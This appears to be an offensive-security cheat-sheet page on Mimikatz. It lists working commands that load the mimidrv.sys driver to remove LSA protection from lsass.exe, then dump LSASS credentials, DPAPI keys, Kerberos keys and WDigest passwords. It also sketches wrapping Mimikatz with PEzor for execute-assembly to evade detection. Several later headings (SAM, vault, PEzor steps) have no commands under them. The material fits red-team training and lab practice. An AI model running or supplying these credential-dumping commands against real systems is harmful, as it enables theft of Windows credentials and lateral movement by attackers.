githubEdit

Mimikatz

Disable LSA Protection

1) We need to upload the mimidrv.sys from where mimikatz would execute from

upload /home/kali/tools/bins/csharp-files/mimidrv.sys c:/windows/temp/mimidrv.sys

2) Go to the directory

cd c:/windows/temp/
ls

3) Load the mimidrv driver and remove protection from LSASS

mimikatz '"privilege::debug" "token::elevate" "!+" "!processprotect /process:lsass.exe /remove"'

Machine Credentials

1) LSASS Dump

mimikatz "token::elevate" "sekurlsa::logonpasswords" "exit"
mimikatz "token::elevate" "sekurlsa::dpapi" "exit"
mimikatz "token::elevate" "sekurlsa::ekeys" "exit"
mimikatz "token::elevate" "sekurlsa::wdigest" "exit"

2) SAM/Secrets/Cache dump

3) Vault dump

PEZor - Mimikatz

For converting the mimikatz binary into a C# binary with preloaded arguments and to run with execute-assembly

1) Mimikatz

2) We need to upload the mimidrv.sys from where mimikatz would execute from

3) Go to the directory

4) Now use PEzor to convert mimikatz into a C# executable with arguments to unload LSA protection by loading mimidrv.sys driver

5) Looks like this - Rinse and repeat for other mimikatz commands

Last updated